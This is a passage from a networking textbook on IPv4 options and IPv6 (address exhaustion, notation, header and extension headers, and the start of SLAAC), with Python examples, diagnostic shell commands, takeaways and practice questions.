                   ^^^^^^^^^^^^^^^^^^^ the firewall sees a packet
                   arriving FROM a trusted host and allows it.

  And with a spoofed source, replies are steered back through the attacker:
     src=victim.ip  LSRR=[attacker.ip]  dst=server
     -> server replies to victim.ip, but the source route sends
        the reply through attacker.ip first. The attacker sees it.

IP_OPTIONS = {
    0:   ("EOOL", "End of option list"),
    1:   ("NOP", "No operation (padding to a 4-byte boundary)"),
    7:   ("RR", "Record Route — each router appends its address"),
    68:  ("TS", "Timestamp — each router appends a timestamp"),
    131: ("LSRR", "Loose Source Route — DEPRECATED, security hazard"),
    137: ("SSRR", "Strict Source Route — DEPRECATED, security hazard"),
    148: ("RA", "Router Alert — examine this packet in transit"),
}

def decode_option_type(t):
    return {
        "value": t,
        "copied": bool(t >> 7),               # bit 0
        "class": (t >> 5) & 0b11,             # bits 1-2
        "number": t & 0b11111,                # bits 3-7
        "name": IP_OPTIONS.get(t, ("UNKNOWN", ""))[0],
        "purpose": IP_OPTIONS.get(t, ("", "unrecognised"))[1],
    }

for t in (7, 68, 131, 148):
    d = decode_option_type(t)
    print(f"{d['value']:>3} 0x{t:02x}  copied={int(d['copied'])} class={d['class']} "
          f"num={d['number']:<2} {d['name']:<5} {d['purpose']}")
#   7 0x07  copied=0 class=0 num=7  RR    Record Route — each router appends its address
#  68 0x44  copied=0 class=2 num=4  TS    Timestamp — each router appends a timestamp
# 131 0x83  copied=1 class=0 num=3  LSRR  Loose Source Route — DEPRECATED, security hazard
# 148 0x94  copied=1 class=0 num=20 RA    Router Alert — examine this packet in transit

# The capacity limit that made Record Route useless in practice.
def record_route_capacity():
    option_overhead = 3          # type + length + pointer
    space = 40 - option_overhead
    return space // 4            # 4 bytes per IPv4 address

print(f"Record Route can hold {record_route_capacity()} addresses")
print("Typical internet path length: 12-20 hops")
# Record Route can hold 9 addresses
# Typical internet path length: 12-20 hops
# -> The option cannot record a real path even when it is not being dropped.

# The performance cliff that killed options generally.
FAST_PATH_NS, SLOW_PATH_NS = 7, 3_000
print(f"\nfast path (ASIC): {FAST_PATH_NS} ns/packet")
print(f"slow path (CPU):  {SLOW_PATH_NS} ns/packet")
print(f"penalty for carrying ANY option: {SLOW_PATH_NS // FAST_PATH_NS}x slower")
# fast path (ASIC): 7 ns/packet
# slow path (CPU):  3000 ns/packet
# penalty for carrying ANY option: 428x slower

# Options are dropped nearly everywhere — try it and see.
$ ping -c3 -R 8.8.8.8                        # -R requests Record Route
# PING 8.8.8.8 (8.8.8.8) 56(124) bytes of data.
# 64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=13.2 ms
# (no RR output — the option was stripped or ignored somewhere on the path)

$ ping -c1 -R 192.168.1.1                    # on a LAN it may still work
# RR:   192.168.1.20
#       192.168.1.1
#       192.168.1.20

# Blocking source routing is standard hardening, and usually already the default:
$ sysctl net.ipv4.conf.all.accept_source_route
# net.ipv4.conf.all.accept_source_route = 0     <- off by default on Linux
# no ip source-route                            <- the Cisco equivalent

# Router Alert in use — IGMP relies on it so that routers process
# membership reports that are not addressed to them:
$ sudo tcpdump -i eth0 -v igmp | head -2
# IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto IGMP (2), length 40,
#     options (RA))
#                ^^ Router Alert: "inspect me even though I am not yours"

Key takeaways

• IPv4 allows up to 40 bytes of options after the fixed header, encoded as TLV; IHL reports the total header length.
• The type byte encodes a copied flag (replicate into every fragment), a 2-bit class, and a 5-bit option number.
• Options failed for three reasons: they force a CPU punt (hundreds of times slower), they create security holes, and 40 bytes is too small to be useful.
• Source routing (LSRR/SSRR) lets a sender dictate the path, defeating firewall placement and enabling spoofed-source replies — deprecated by RFC 7126 and dropped almost universally.
• Record Route holds only 9 addresses, fewer than a typical internet path, and leaks topology.
• Router Alert survives because it uniquely enables protocols like IGMP and RSVP to be processed by routers in transit.
• IPv6 extension headers are the redesign: a chain after a fixed base header, so routers normally parse only the base and the fast path stays fast.

🧪 Practice

1. Decode the option type bytes 0x07, 0x83, and 0x94 into copied flag, class, number, and name.
2. Explain why a packet carrying any IP option is typically orders of magnitude slower to forward, referring to the router architecture from 5.1.
3. Describe how loose source routing lets an attacker receive replies to a packet sent with a spoofed source address.
4. Interview-style: IPv4 options and IPv6 extension headers provide the same capability, yet one failed and the other is considered sound. What is the structural difference? (Hint: think about which headers a transit router is obliged to parse in each design, and what that means for the fast path.)

<a id="54-ipv6"></a>

5.4 IPv6

This subchapter covers the successor protocol: why it exists, how its vastly larger addresses are written and structured, how its header was simplified, and how two incompatible protocols coexist on one internet.

Motivation and Address Exhaustion

Theory

IPv4 has 4.29 billion addresses. There are more than 8 billion people, and a typical person carries or owns several connected devices. The arithmetic was never going to work, and it was understood by 1990 — which is why IPv6 was designed in the mid-1990s, long before the shortage bit.

The exhaustion happened in stages, and the dates are worth knowing because they explain the current internet's shape:

Date	Event
Feb 2011	IANA allocated its last five /8 blocks to the RIRs
Apr 2011	APNIC (Asia-Pacific) reached its final /8
Sep 2012	RIPE NCC (Europe) reached its final /8
Jun 2014	LACNIC (Latin America) exhausted
Sep 2015	ARIN (North America) exhausted
Nov 2019	RIPE NCC made its final /22 allocation; waiting list only

"Exhausted" does not mean no addresses exist — it means no new large allocations are available. Addresses now move by transfer markets, where a /24 sells for tens of thousands of dollars, and by ever more aggressive NAT.

The situation was survivable only because of three stopgaps, each of which bought years:

CIDR (1993) stopped the waste of classful allocation. NAT (1994) let an entire organisation share a handful of public addresses. RFC 1918 private space made that reuse systematic. Together they extended IPv4's life by roughly two decades past its projected death — a remarkable engineering achievement whose cost was the loss of end-to-end addressing, discussed in 5.6.

IPv6 uses 128-bit addresses. The number that results is genuinely hard to hold in mind: 2^128 ≈ 3.4 × 10^38, which is about 340 undecillion. Some ways to make it concrete:

• Roughly 10^28 addresses per person alive today.
• About 6.6 × 10^23 addresses per square metre of the Earth's surface, land and sea.
• The IPv4 space, squared, squared again — and still short by a large factor.

Why 128 and not 64, which would already have been ample? Because IPv6 deliberately spends address bits on structure rather than hoarding them. The standard subnet is a /64 — half the address — which leaves 2^64 addresses per subnet. That is wasteful by IPv4 instincts and entirely intentional: it makes SLAAC possible (a host can derive a unique address from its 48-bit MAC with room to spare), it makes scanning a subnet computationally infeasible, and it means subnetting never again requires calculating host counts. The top 64 bits carry the routing hierarchy, and a site receiving a /48 has 65,536 subnets to allocate without thought.

But exhaustion was only the headline. IPv6 also fixed things IPv4 got wrong:

• Simpler header — a fixed 40 bytes, with variable parts moved into extension headers.
• No router fragmentation — sources fragment, routers do not.
• No header checksum — link layers and transports already cover it.
• Built-in autoconfiguration — SLAAC needs no DHCP server.
• No broadcast — replaced by scoped multicast, which is far less disruptive.
• Mandatory multicast and formalised anycast.
• Better extensibility via the extension-header chain.

Deployment has nonetheless taken thirty years, because IPv6 is not backwards compatible: an IPv6-only host cannot talk to an IPv4-only host without a translator. This creates a chicken-and-egg problem — content providers wait for users, users' ISPs wait for content — that only dual-stack operation could break. Global IPv6 adoption passed roughly 40% of Google's users in the mid-2020s, led by mobile networks, where operators deploying millions of new devices had no IPv4 addresses to give them.

Examples

Scale comparison — the numbers do not fit on a linear axis

  IPv4:  2^32  =                           4,294,967,296
  IPv6:  2^128 = 340,282,366,920,938,463,463,374,607,431,768,211,456

  If IPv4's entire address space were one grain of sand,
  IPv6's space would be vastly more sand than exists on Earth.

  A single IPv6 /64 SUBNET (2^64 addresses) is already
  18,446,744,073,709,551,616 addresses
  = 4.3 BILLION times the entire IPv4 internet.


Why a /64 subnet "wastes" half the address on purpose

  |<---------- 64 bits: routing ---------->|<---- 64 bits: interface ---->|
  +--------+--------+-----------+----------+------------------------------+
  | global routing prefix (48)  | subnet   |     interface identifier     |
  |                             | id (16)  |     (derived or random)      |
  +-----------------------------+----------+------------------------------+
   assigned by your ISP           65,536     enough room that SLAAC works
                                  subnets    and scanning is infeasible

# The scale, made concrete.
IPV4 = 2 ** 32
IPV6 = 2 ** 128
EARTH_M2 = 5.1e14                 # Earth's surface area in square metres
PEOPLE   = 8.1e9

print(f"IPv4 total: {IPV4:,}")
print(f"IPv6 total: {IPV6:,}")
print(f"ratio:      {IPV6 / IPV4:.3e}x")
print(f"per person: {IPV6 / PEOPLE:.3e}")
print(f"per m2 of Earth: {IPV6 / EARTH_M2:.3e}")
print(f"one /64 subnet:  {2**64:,}  = {2**64 / IPV4:,.0f}x the whole IPv4 internet")
# IPv4 total: 4,294,967,296
# IPv6 total: 340,282,366,920,938,463,463,374,607,431,768,211,456
# ratio:      7.923e+28x
# per person: 4.201e+28
# per m2 of Earth: 6.672e+23
# one /64 subnet:  18,446,744,073,709,551,616  = 4,294,967,296x the whole IPv4 internet

# Why scanning an IPv6 subnet is not a strategy.
SCAN_RATE = 1_000_000              # a very optimistic 1M probes/second
seconds = 2**64 / SCAN_RATE
print(f"\nscanning one /64 at {SCAN_RATE:,} pps takes {seconds/31_557_600:.3e} years")
# scanning one /64 at 1,000,000 pps takes 5.845e+05 years
# An IPv4 /24 takes 0.00026 seconds at the same rate. This is a real
# security property: IPv6 host discovery must use DNS, logs, or multicast.

# What the stopgaps bought.
def addresses_needed(devices, nat_ratio):
    """nat_ratio = devices sharing one public address."""
    return devices / nat_ratio

for devices, ratio, label in [(30e9, 1, "no NAT"), (30e9, 500, "home NAT"),
                              (30e9, 10000, "carrier-grade NAT")]:
    need = addresses_needed(devices, ratio)
    verdict = "IMPOSSIBLE" if need > IPV4 else f"fits, using {100*need/IPV4:.1f}% of IPv4"
    print(f"{label:<20} needs {need:>15,.0f} public addresses -> {verdict}")
# no NAT               needs  30,000,000,000 public addresses -> IMPOSSIBLE
# home NAT             needs      60,000,000 public addresses -> fits, using 1.4% of IPv4
# carrier-grade NAT    needs       3,000,000 public addresses -> fits, using 0.1% of IPv4

# Is this host on IPv6 at all?
$ ip -6 addr show scope global
# 2: eth0 inet6 2001:db8:85a3::8a2e:370:7334/64 scope global
#         ^ a global address means real IPv6 connectivity
$ curl -s https://ipv6.icanhazip.com || echo "no IPv6 path to the internet"

# Which protocol does a given name resolve to?
$ dig +short AAAA www.google.com | head -1
# 2a00:1450:4001:82b::2004
$ dig +short A www.google.com | head -1
# 142.250.185.132
#   Dual-stacked: both records exist, and Happy Eyeballs (RFC 8305) races them.

# The transfer market is the visible face of exhaustion:
$ whois -h whois.arin.net 203.0.113.0 | grep -i "NetType\|Updated"
# NetType:        Reallocated
# Updated:        2023-04-11
#                 ^ address blocks now change hands commercially

Key takeaways

• IPv4's 4.29 billion addresses were exhausted regionally between 2011 and 2019; allocations now come from transfer markets and waiting lists.
• CIDR, NAT, and RFC 1918 together extended IPv4's life by roughly two decades, at the cost of end-to-end addressing.
• IPv6 uses 128-bit addresses: 2^128 ≈ 3.4 × 10^38, about 10^28 per person.
• The /64 subnet deliberately spends half the address on the interface identifier, enabling SLAAC and making subnet scanning computationally infeasible.
• IPv6 also fixed: fixed 40-byte header, no router fragmentation, no header checksum, built-in autoconfiguration, no broadcast, formalised anycast.
• IPv6 is not backwards compatible, which caused the chicken-and-egg deployment problem that only dual stack could break.
• Adoption is led by mobile operators, who had no IPv4 addresses left for new devices.

🧪 Practice

1. Compute how many IPv6 addresses exist per person for a population of 8 billion, and express the result in scientific notation.
2. Explain why a /64 is the standard subnet size even though it "wastes" 18 quintillion addresses per link, giving two concrete benefits.
3. Calculate the time to exhaustively scan one IPv6 /64 at 10 million probes per second, and state what host-discovery technique this forces attackers toward.
4. Interview-style: IPv6 was ready in 1998. Why did deployment take three decades? (Hint: consider what an IPv6-only host can do with an IPv4-only server, and who has to move first for anyone to benefit.)

IPv6 Address Notation and Types

Theory

A 128-bit address written in dotted decimal would need sixteen numbers. IPv6 instead uses eight groups of four hexadecimal digits separated by colons, each group representing 16 bits:

2001:0db8:85a3:0000:0000:8a2e:0370:7334

Two compression rules make this bearable, and both are worth learning precisely because the rules have edge cases that tools enforce.

Rule 1 — drop leading zeros in any group. 0db8 becomes db8, 0000 becomes 0. Trailing zeros are never dropped: 0370 becomes 370, not 37.

Rule 2 — replace one run of consecutive all-zero groups with ::. The example becomes 2001:db8:85a3::8a2e:370:7334. The critical constraint is that :: may appear at most once in an address, because a parser reconstructs the missing groups by counting what is present — two occurrences would be ambiguous.

RFC 5952 adds canonical-form rules that tools follow: use lowercase hex, use :: for the longest zero run, and if two runs tie, compress the leftmost. Do not use :: for a single zero group.

IPv6 addresses are categorised by scope — how far they are meaningful — which is a genuinely new idea compared with IPv4:

Type	Prefix	Scope	Purpose
Global unicast (GUA)	2000::/3	Global	Routable on the internet
Link-local	fe80::/10	One link	Always present; NDP, routing protocols
Unique local (ULA)	fc00::/7 (in practice fd00::/8)	Site	The rough analogue of RFC 1918
Multicast	ff00::/8	Varies by scope field	Groups; replaces broadcast entirely
Loopback	::1/128	Host	The 127.0.0.1 equivalent
Unspecified	::/128	—	"No address yet", like 0.0.0.0
IPv4-mapped	::ffff:0:0/96	—	An IPv4 address inside an IPv6 socket API

Three things about this table differ fundamentally from IPv4 habits.

Every interface always has a link-local address, generated automatically the moment the interface comes up, regardless of any configuration. NDP, OSPFv3, and RA all use it. This is why IPv6 troubleshooting often starts with ping6 ff02::1%eth0 — it works before any global addressing exists.

An interface normally has several addresses simultaneously — link-local, plus one or more globals, plus possibly a ULA and a privacy address. This is normal, not a misconfiguration. Source address selection (RFC 6724) picks among them per destination.

There is no broadcast. ff02::1 (all nodes) is a multicast group that achieves a similar effect, but NDP mostly uses solicited-node multicast ff02::1:ffXX:XXXX, derived from the target's low 24 bits, so typically only the intended host is interrupted rather than every host on the segment.

The global unicast structure is uniform and simple:

|  48 bits: global routing prefix  | 16: subnet | 64: interface ID |

A site receives a /48 from its provider (65,536 subnets), assigns /64 per link, and never computes host counts again. Point-to-point links still use /64 by convention, though /127 is used by some operators to avoid a neighbour-discovery exhaustion attack.

Examples

Compressing an address, step by step

  full:        2001:0db8:85a3:0000:0000:8a2e:0370:7334
  rule 1:      2001:db8:85a3:0:0:8a2e:370:7334          <- leading zeros gone
  rule 2:      2001:db8:85a3::8a2e:370:7334             <- longest zero run -> ::

  Tricky cases:
    0000:0000:0000:0000:0000:0000:0000:0001  ->  ::1
    0000:0000:0000:0000:0000:0000:0000:0000  ->  ::
    2001:0db8:0000:0000:0001:0000:0000:0001

      two zero runs, lengths 2 and 2 -> tie -> compress the LEFTMOST:
      2001:db8::1:0:0:1                        CORRECT
      2001:db8:0:0:1::1                        wrong (not leftmost)
      2001:db8::1::1                           INVALID (:: twice, ambiguous)


Global unicast structure

  2001:0db8:85a3 : 0001 : 0000:0000:0000:0042
  \____________/   \__/   \_____________________/
   48-bit prefix   subnet    64-bit interface ID
   from your ISP   65,536     host part; SLAAC or DHCPv6 fills it
                   available


Scope — an idea IPv4 never had

    ::1                     [ this host only ]
    fe80::/10               [ this link only — never forwarded ]
    fd00::/8                [ this site — not routed on the internet ]
    2000::/3                [ the whole internet ]
    ff02::1                 [ all nodes on this link ]
    ff05::1:3               [ all DHCP servers in this site ]
         ^ the 2nd nibble of an ff00:: address IS the scope

import ipaddress

def describe(addr):
    ip = ipaddress.ip_address(addr)
    if ip.is_loopback:                      kind = "loopback (::1)"
    elif ip.is_unspecified:                 kind = "unspecified (::)"
    elif ip.is_link_local:                  kind = "link-local (fe80::/10)"
    elif ip.is_multicast:                   kind = "multicast (ff00::/8)"
    elif ip in ipaddress.ip_network("fc00::/7"):  kind = "unique local (ULA)"
    elif ip.ipv4_mapped:                    kind = f"IPv4-mapped ({ip.ipv4_mapped})"
    elif ip in ipaddress.ip_network("2000::/3"):  kind = "global unicast"
    else:                                   kind = "reserved / other"
    return f"{ip.compressed:<28} {kind}"

for a in ["2001:0db8:85a3:0000:0000:8a2e:0370:7334",
          "fe80::1ff:fe23:4567:890a", "fd12:3456:789a::1",
          "ff02::1", "::1", "::", "::ffff:192.168.1.1"]:
    print(describe(a))
# 2001:db8:85a3::8a2e:370:7334 global unicast
# fe80::1ff:fe23:4567:890a     link-local (fe80::/10)
# fd12:3456:789a::1            unique local (ULA)
# ff02::1                      multicast (ff00::/8)
# ::1                          loopback (::1)
# ::                           unspecified (::)
# ::ffff:c0a8:101             IPv4-mapped (192.168.1.1)

# Compression is canonical: Python always emits RFC 5952 form.
messy = ["2001:0DB8:0000:0000:0001:0000:0000:0001",
         "2001:db8:0:0:0:0:0:1",
         "0:0:0:0:0:0:0:0"]
for m in messy:
    print(f"{m:<42} -> {ipaddress.ip_address(m).compressed}")
# 2001:0DB8:0000:0000:0001:0000:0000:0001    -> 2001:db8::1:0:0:1
# 2001:db8:0:0:0:0:0:1                       -> 2001:db8::1
# 0:0:0:0:0:0:0:0                            -> ::
#                                   note: leftmost of the two equal-length runs

# Invalid forms are rejected, not guessed at.
for bad in ["2001:db8::1::1", "2001:db8:85a3:0:0:8a2e:370:7334:1234", "2001:db8:zz::1"]:
    try:
        ipaddress.ip_address(bad)
    except ValueError as e:
        print(f"{bad:<40} INVALID ({e})")
# 2001:db8::1::1      INVALID (...)    <- '::' appears twice: ambiguous
# ...:7334:1234       INVALID (...)    <- nine groups
# 2001:db8:zz::1      INVALID (...)    <- 'zz' is not hexadecimal

# Subnetting a site's /48 — no host arithmetic required, ever.
site = ipaddress.ip_network("2001:db8:85a3::/48")
print(f"\n/48 site: {site}  -> {2**16:,} /64 subnets available")
for i, sub in enumerate(site.subnets(new_prefix=64)):
    print(f"  subnet {i}: {sub}   ({sub.num_addresses:,} addresses)")
    if i == 2: break
# /48 site: 2001:db8:85a3::/48  -> 65,536 /64 subnets available
#   subnet 0: 2001:db8:85a3::/64   (18,446,744,073,709,551,616 addresses)
#   subnet 1: 2001:db8:85a3:1::/64 (18,446,744,073,709,551,616 addresses)
#   subnet 2: 2001:db8:85a3:2::/64 (18,446,744,073,709,551,616 addresses)

# A normal interface has SEVERAL IPv6 addresses. This is correct, not broken.
$ ip -6 addr show eth0
# 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
#     inet6 2001:db8:85a3:1:a1b2:c3d4:e5f6:7890/64 scope global temporary
#     inet6 2001:db8:85a3:1:5054:ff:fe12:3456/64 scope global mngtmpaddr
#     inet6 fe80::5054:ff:fe12:3456/64 scope link
#           ^^^^ link-local: ALWAYS present, generated automatically
#     ^^^^^^^^^ 'temporary' is a privacy address (RFC 8981), rotated regularly

# Link-local addresses need a zone index, because fe80::/10 exists on EVERY link:
$ ping6 -c1 fe80::1                    # ambiguous — which interface?
# connect: Invalid argument
$ ping6 -c1 fe80::1%eth0               # the %zone disambiguates
# 64 bytes from fe80::1%eth0: icmp_seq=1 ttl=64 time=0.85 ms

# Discover every IPv6 host on the link without scanning anything:
$ ping6 -c2 ff02::1%eth0               # all-nodes multicast
# 64 bytes from fe80::5054:ff:fe12:3456%eth0: icmp_seq=1 ttl=64 time=0.04 ms
# 64 bytes from fe80::1%eth0: icmp_seq=1 ttl=64 time=0.91 ms (DUP!)
#   This is how you enumerate an IPv6 segment — 2^64 makes scanning useless.

# URLs need brackets, because the colon already means "port":
$ curl -6 "http://[2001:db8:85a3::1]:8080/health"

Key takeaways

• IPv6 addresses are eight groups of four hex digits; drop leading zeros, and replace one run of zero groups with ::.
• :: may appear at most once; with tied zero-run lengths, compress the leftmost (RFC 5952).
• Types by prefix: global unicast 2000::/3, link-local fe80::/10, ULA fc00::/7, multicast ff00::/8, loopback ::1, unspecified ::.
• Every interface always has a link-local address, created automatically — IPv6 troubleshooting can begin before any global addressing exists.
• An interface normally holds several addresses at once (link-local, global, privacy, ULA); RFC 6724 governs source selection.
• There is no broadcast — ff02::1 is all-nodes multicast, and NDP prefers solicited-node multicast so only the target is interrupted.
• Structure: /48 to a site, /64 per subnet, 64-bit interface identifier; host-count arithmetic disappears.
• Link-local addresses require a zone index (fe80::1%eth0); IPv6 URLs require brackets.

🧪 Practice

1. Compress 2001:0db8:0000:0000:0000:ff00:0042:8329 and expand ff02::1:ff00:1234 to full form.
2. Explain why 2001:db8::1::4 is invalid, and why 2001:db8:0:1:0:0:0:5 compresses to 2001:db8:0:1::5 rather than 2001:db8::1:0:0:0:5.
3. Classify fe80::12, fd00:abcd::9, 2400:cb00::1, and ff05::1:3, naming each prefix and its scope.
4. Interview-style: Why does pinging fe80::1 fail without a zone index while pinging a global address does not? (Hint: consider how many interfaces on a multi-homed host could each have a neighbour at exactly that address.)

IPv6 Header and Extension Headers

Theory

The IPv6 header is exactly 40 bytes, always. No IHL, no options in the base header, no variable length. Compare that with IPv4's 20-to-60-byte range and the design intent is immediately visible: make the common case trivially parseable in hardware.

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-------+-----------------------+-------------------------------+
|Version| Traffic Class |            Flow Label                 |
+-------+---------------+-------+---------------+---------------+
|        Payload Length         |  Next Header  |   Hop Limit   |
+-------------------------------+---------------+---------------+
|                                                               |
+                    Source Address (128 bits)                  +
|                                                               |
+---------------------------------------------------------------+
|                                                               |
+                 Destination Address (128 bits)                +
|                                                               |
+---------------------------------------------------------------+

Eight fields, down from IPv4's fourteen. What was removed, and why:

IPv4 field	Fate in IPv6	Reason
IHL	Gone	Header is fixed length
Identification, Flags, Fragment Offset	Moved to an extension header	Only the source fragments now
Header Checksum	Removed entirely	Link layers detect corruption; transports checksum end-to-end
Options / Padding	Extension headers	Keeps the base header fixed
Total Length	Became Payload Length	Now excludes the header, which is a known 40
Protocol	Became Next Header	Same job, extended to chain extension headers
TTL	Renamed Hop Limit	Honest naming of what it always was

Removing the checksum was the most debated decision and is the clearest illustration of the end-to-end argument. Ethernet's FCS catches link corruption. TCP and UDP checksum the payload and a pseudo-header covering the addresses, so address corruption is caught end-to-end. (For this reason the UDP checksum is mandatory in IPv6, whereas it is optional in IPv4.) Recomputing a header checksum at every hop was pure cost for redundant protection.

The Flow Label (20 bits) is new. It lets a source mark packets belonging to one flow so routers can keep them on the same path — useful for ECMP load balancing, where hashing on the flow label avoids parsing into the transport header, and essential when that header is encrypted or fragmented.

Extension headers replace IPv4 options. Rather than stuffing everything into one variable-length header, IPv6 forms a chain: each header's Next Header field names the type of the header that follows, ending with a transport protocol number.

IPv6 header    Routing header   Fragment header   TCP header + data
NH = 43   ---> NH = 44     ---> NH = 6       ---> (payload)

The recommended order (RFC 8200) matters because it determines who processes what:

1. Hop-by-Hop Options (0) — the only one every router must examine; must come first
2. Destination Options (60) — for the destination, or for routing-header waypoints
3. Routing (43) — waypoints; type 0 deprecated for the same reasons IPv4 source routing was
4. Fragment (44) — source fragmentation only
5. Authentication Header (51) and ESP (50) — IPsec
6. Destination Options (60) again — for the final destination
7. Upper layer — TCP (6), UDP (17), ICMPv6 (58)

The structural improvement over IPv4 options is precise: transit routers parse only the 40-byte base header, unless a Hop-by-Hop header is present. Everything else is the destination's business. IPv4 forced every router to parse whatever options were present, which is what pushed option-bearing packets onto the slow path.

In practice, extension headers are also frequently dropped by operators, because middleboxes find chains hard to parse and the chain can be used to hide transport headers from filters. Measurement studies find meaningful drop rates for packets carrying them. The lesson that "the fast path defines what is deployable" applies to IPv6 too, just less severely.

Examples

IPv4 vs IPv6 headers, side by side

  IPv4: 20-60 bytes, 14 fields         IPv6: 40 bytes fixed, 8 fields
  +--------------------------+         +--------------------------+
  | Ver | IHL | ToS | TotLen |         | Ver | TClass | Flow Label|
  | ID  | Flags | FragOffset |         | PayloadLen | NH | HopLim |
  | TTL | Proto | Checksum   |         |                          |
  | Source (32)              |         | Source (128)             |
  | Destination (32)         |         |                          |
  | Options (0-40) + padding |         | Destination (128)        |
  +--------------------------+         |                          |
    ^ variable: must be parsed         +--------------------------+
                                         ^ fixed: parse by offset

  Larger header (40 vs 20) but FEWER fields and NO variable parsing.
  Addresses alone are 32 of the 40 bytes.


The Next Header chain

  +----------------+  +----------------+  +----------------+  +--------+
  | IPv6 header    |->| Hop-by-Hop     |->| Fragment       |->| TCP    |
  | NH = 0         |  | NH = 44        |  | NH = 6         |  | data   |
  +----------------+  +----------------+  +----------------+  +--------+
        ^ 40 bytes          ^ EVERY router        ^ destination only
                              must read this

  Without extension headers — the overwhelmingly common case:

  +----------------+  +--------+
  | IPv6 header    |->| TCP    |     NH = 6, one fixed-offset read,
  | NH = 6         |  | data   |     straight into the ASIC fast path
  +----------------+  +--------+

import struct, ipaddress

NEXT_HEADER = {
    0:  "Hop-by-Hop Options (every router must process)",
    43: "Routing",
    44: "Fragment",
    50: "ESP (IPsec)",
    51: "Authentication Header (IPsec)",
    58: "ICMPv6",
    59: "No Next Header",
    60: "Destination Options",
    6:  "TCP", 17: "UDP",
}

def parse_ipv6(raw: bytes):
    # 4 bytes packed: version(4) + traffic class(8) + flow label(20)
    first_word, payload_len, next_hdr, hop_limit = struct.unpack("!IHBB", raw[:8])
    return {
        "version":       first_word >> 28,
        "traffic_class": (first_word >> 20) & 0xFF,
        "dscp":          ((first_word >> 20) & 0xFF) >> 2,
        "ecn":           ((first_word >> 20) & 0xFF) & 0x3,
        "flow_label":    first_word & 0xFFFFF,          # low 20 bits
        "payload_length": payload_len,                  # EXCLUDES the 40-byte header
        "total_on_wire": payload_len + 40,
        "next_header":   NEXT_HEADER.get(next_hdr, next_hdr),
        "hop_limit":     hop_limit,
        "src": str(ipaddress.IPv6Address(raw[8:24])),
        "dst": str(ipaddress.IPv6Address(raw[24:40])),
    }

hdr = (struct.pack("!IHBB", (6 << 28) | (0xB8 << 20) | 0x12345, 20, 6, 64)
       + ipaddress.IPv6Address("2001:db8::1").packed
       + ipaddress.IPv6Address("2001:db8::2").packed)
for k, v in parse_ipv6(hdr).items():
    print(f"{k:<16} {v}")
# version          6
# traffic_class    184
# dscp             46
# ecn              0
# flow_label       74565
# payload_length   20
# total_on_wire    60
# next_header      TCP
# hop_limit        64
# src              2001:db8::1
# dst              2001:db8::2

# Walking a Next Header chain — and noting who must process each link.
def walk_chain(chain):
    print(f"{'header':<34}{'NH':>4}  processed by")
    for i, nh in enumerate(chain):
        name = NEXT_HEADER.get(nh, str(nh))
        who = ("EVERY ROUTER" if nh == 0 else
               "destination only" if i > 0 else "n/a (base header)")
        label = "IPv6 base header" if i == 0 else name
        nxt = chain[i + 1] if i + 1 < len(chain) else "-"
        print(f"{label:<34}{str(nxt):>4}  {who}")
    print(f"{NEXT_HEADER.get(chain[-1], chain[-1]):<34}{'-':>4}  transport layer")

walk_chain([0, 44, 6])
# header                              NH  processed by
# IPv6 base header                    44  n/a (base header)
# Fragment                             6  destination only
# TCP                                  -  destination only
# TCP                                  -  transport layer

# The header on the wire.
$ sudo tcpdump -i eth0 -n -v ip6 -c 1
# IP6 (flowlabel 0x12345, hlim 64, next-header TCP (6) payload length: 40)
#      ^^^^^^^^^^^^^^^^^ used for ECMP hashing without parsing deeper
#                        ^^^^^^^^ Hop Limit, the honest name for TTL
#     2001:db8::1.51234 > 2001:db8::2.443: Flags [S], seq 184221...

# Extension headers are visible when present:
$ sudo tcpdump -i eth0 -n -v 'ip6[6] == 44'        # Next Header == Fragment
# IP6 2001:db8::1 > 2001:db8::2: frag (0|1448) 51234 > 443: Flags [.], ...
#                                ^^^^ the FRAGMENT EXTENSION HEADER, only ever
#                                     added by the SOURCE — never by a router

# UDP checksums are mandatory in IPv6 because the IP header no longer has one:
$ sudo tcpdump -i eth0 -n -v udp and ip6 | head -1
# IP6 2001:db8::1.5353 > ff02::fb.5353: [udp sum ok] UDP, length 45
#                                        ^^^^^^^^^^ never optional here

Key takeaways

• The IPv6 header is a fixed 40 bytes with 8 fields, enabling fixed-offset parsing in hardware.
• Removed: IHL, fragmentation fields, options, and — most notably — the header checksum, since link layers and transports already cover corruption.
• Because there is no IP checksum, the UDP checksum is mandatory in IPv6.
• Renamed: Total Length → Payload Length (excludes the header), Protocol → Next Header, TTL → Hop Limit.
• The Flow Label (20 bits) identifies a flow for ECMP hashing without parsing into the transport header.
• Extension headers form a chain via Next Header, in a recommended order; only Hop-by-Hop Options must be examined by every router.
• This is the structural fix for IPv4's options problem: transit routers normally parse only the base header, so the fast path is preserved.
• In practice extension headers are often dropped by middleboxes, so they remain sparingly used.

🧪 Practice

1. List the IPv4 header fields with no IPv6 equivalent, and give the reason each was removed.
2. An IPv6 packet has Payload Length 1,240. Compute the total bytes on the wire and explain why this differs from IPv4's Total Length semantics.
3. Given a chain IPv6(NH=0) -> HopByHop(NH=43) -> Routing(NH=6) -> TCP, state which headers a transit router must parse and which only the destination reads.
4. Interview-style: Removing the header checksum looks like a reduction in reliability. Argue that it is not. (Hint: enumerate every layer that already detects corruption of these bytes, and consider what the pseudo-header in the transport checksum covers.)

Stateless Address Autoconfiguration

Theory

In IPv4, a host that wants an address asks a DHCP server. That server is infrastructure: it must be deployed, configured, made redundant, and relayed across subnets. IPv6 asks whether a server is necessary at all, and the answer is usually no.

SLAAC (Stateless Address Autoconfiguration, RFC 4862) lets a host build its own global address from two pieces: a prefix learned from a router, and an interface identifier it generates itself. "Stateless" means no server tracks which address went to which host — nobody keeps a lease table, because nobody hands anything out.

The full sequence, when an interface comes up:

1. Generate a link-local address. Combine fe80::/64 with a self-generated interface identifier. This happens immediately, with no external help.

2. Duplicate Address Detection (DAD). Send a Neighbor Solicitation for the address you just made, from the unspecified source ::. If anyone answers, the address is taken and you must not use it. Silence means it is yours. DAD runs for every address, not just this one.

3. Router Solicitation. Send an RS to ff02::2 (all routers) asking for configuration. Without this you would wait for the next periodic advertisement.

4. Router Advertisement. A router replies with an RA containing one or more prefixes (essentially always /64), the router's own link-local address as a default gateway, an MTU, and the M and O flags.

5. Build the global address. Concatenate the advertised /64 prefix with the interface identifier, run DAD on the result, and start using it.

Two ways exist to generate the interface identifier, and the difference is a privacy story:

